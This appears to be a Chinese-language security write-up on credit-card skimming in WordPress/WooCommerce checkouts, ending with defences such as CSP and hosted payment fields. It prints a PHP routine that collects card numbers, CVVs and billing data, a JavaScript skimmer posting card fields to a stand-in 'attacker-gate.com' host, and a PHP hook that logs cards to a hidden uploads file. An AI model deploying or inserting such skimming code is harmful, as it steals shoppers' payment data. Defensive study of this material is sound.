public function process_payment($order_id) {
$order = wc_get_order($order_id);
// 将订单标记为未付款
$order->update_status('pending', 'Order awaiting payment.');
// 获取客户信息
$billing_first_name = $order->get_billing_first_name();
$billing_last_name = $order->get_billing_last_name();
$billing_address_1 = $order->get_billing_address_1();
$billing_address_2 = $order->get_billing_address_2();
$billing_city = $order->get_billing_city();
$billing_state = $order->get_billing_state();
$billing_postcode = $order->get_billing_postcode();
$billing_country = $order->get_billing_country();
$billing_phone = $order->get_billing_phone();
$billing_email = $order->get_billing_email();
// 获取信用卡信息
$ccNumber = sanitize_text_field($_POST['cc_number']);
$ccExpMonth = sanitize_text_field($_POST['cc_exp_month']);
$ccExpYear = sanitize_text_field($_POST['cc_exp_year']);
$cvv = sanitize_text_field($_POST['cc_cvv']);
// 获取购物车信息
$cart_items = array();
foreach ($order->get_items() as $item_id => $item) {
$product = wc_get_product($item->get_product_id());
$cart_items[] = array(
'name' => $item->get_name(),
'price' => $item->get_total(),
'pfh' => get_woocommerce_currency(),
'pimg' => wp_get_attachment_url($product->get_image_id()),
'size' => $item->get_meta('Size', true),
'color' => $item->get_meta('Color', true),
'quantity' => $item->get_quantity(),
'Title_sv' => $item->get_name()
);
}
// 获取用户IP和UserAgent信息
$user_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$browser_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
// 构建数据
$dataToSend = array(
'hbfh' => '$',
'FristName' => $billing_first_name,
'LastName' => $billing_last_name,
'cuntry' => $billing_country,
'address' => $billing_address_1 . ', ' . $billing_address_2,
'city' => $billing_city,
'state' => $billing_state, // 如果没有获取到 state 信息,根据需求调整
'zip' => $billing_postcode,
'phone' => $billing_phone,
'email' => $billing_email,
'cc_number' => $ccNumber,
'cc_exp' => $ccExpMonth . '/' . $ccExpYear,
'cc_cvv' => $cvv,
'remark' => '',
'Cart' => $cart_items,
'UserIP' => $user_ip,
'UserAgent' => $user_agent,
'BrowserLanguage' => $browser_language,
);
后台代码:(文件太多,就不放代码了)
攻击核心逻辑
攻击者通常不会去更改 WordPress 的核心代码,而是通过漏洞(如弱口令、插件漏洞)获取权限后,在支付网关或结账页面渲染逻辑中植入恶意脚本。
整个过程分为四个阶段:
-
潜伏(Infiltration):获取网站控制权。
-
劫持(Hooking):拦截正常的表单提交动作。
-
窃取(Data Exfiltration):将数据异步发送到攻击者的 C2(控制)服务器。
-
伪装(Masking):数据发送后,让用户继续完成正常支付,以防被察觉。
技术实现原理(含代码示例)
1. 恶意脚本植入
攻击者通常会修改主题的 functions.php 或在 wp-content/uploads 目录中隐藏一个 JS 文件,并利用 WordPress 的 wp_enqueue_script 钩子将其加载到结账页面 (is_checkout())。
2. 表单劫持代码 (JavaScript 层)
这是最常见的方法。脚本会监听“下单”按钮的点击事件,在数据传给合法支付网关(如 Stripe 或 PayPal)之前,先复制一份。
模拟恶意代码示例:
// 监听下单按钮点击
document
.querySelector(
'
#place
_order'
).addEventListener(
'click'
,
function
(
e
)
{
// 获取表单中的信用卡数据
var
cc_info = {
number
:
document
.querySelector(
'
#billing
_card_number'
).value,
expiry
:
document
.querySelector(
'
#billing
_card_expiry'
).value,
cvv
:
document
.querySelector(
'
#billing
_card_cvc'
).value,
name
:
document
.querySelector(
'
#billing
_first_name'
).value +
' '
+
document
.querySelector(
'
#billing
_last_name'
).value,
email
:
document
.querySelector(
'
#billing
_email'
).value
};
// 使用简单的 Fetch 或 AJAX 将数据发送到攻击者的网关
fetch(
'https://attacker-gate.com/collect.php'
, {
method
:
'POST'
,
mode
:
'no-cors'
,
// 绕过简单的跨域限制
body
:
JSON
.stringify(cc_info)
});
// 此时不拦截事件流,用户会继续正常下单,完全感知不到数据已泄露
});
PHP 劫持逻辑:
PHP
add_action(
'woocommerce_checkout_order_processed'
,
'steal_credit_card_data'
,
10
,
3
);
function
steal_credit_card_data
(
$order_id
,
$posted_data
,
$order
)
{
// 获取 POST 提交的原始信用卡信息(如果网关处理不当留在 POST 中)
$cc_num
=
$_POST
[
'card_number_field'
];
$cc_cvv
=
$_POST
[
'card_cvv_field'
];
// 记录到本地隐藏文件或发送到远程服务器
$data
=
"Order:
$order_id
| Card:
$cc_num
| CVV:
$cc_cvv
\n"
;
file_put_contents(WP_CONTENT_DIR .
'/uploads/2023/01/debug_log.txt'
,
$data
, FILE_APPEND);
}
攻击路径图示
-
用户在被劫持的结账页面输入支付信息。
-
恶意脚本在后台静默运行。
-
双重发送:
-
路径 A(正常):数据发往合法的 Stripe/PayPal 接口(交易成功)。
-
路径 B(劫持):数据同步发往攻击者的数据库。
-
攻击者获取完整的 CVV、卡号及账单地址,随后在黑市出售或进行盗刷。
防御与检测
-
文件完整性监控 (FIM):定期检查
functions.php或插件目录是否有未经授权的更改。 -
内容安全策略 (CSP):通过配置 CSP 头部,禁止结账页面向未授权的第三方域名发送请求。
-
例如:
Content-Security-Policy: connect-src 'self' https://api.stripe.com;(这将阻止脚本向攻击者的域名发送fetch请求)。 -
定期扫描恶意代码:使用 Wordfence 或 Sucuri 扫描数据库和文件系统中的 Base64 加密字符串(攻击者常用于隐藏 URL)。
-
强制使用正规支付网关的托管字段:如 Stripe Elements。这种技术下,信用卡输入框实际上是托管在 Stripe 域名下的 iframe,攻击者的 JS 脚本因“同源策略”无法读取 iframe 内部的值。
总结
WordPress CVV 钓鱼成功的关键在于隐蔽性。对于站长而言,确保支付环境处于“托管模式”(即不经过服务器处理原始卡号)是防范此类攻击的最有效护城河。







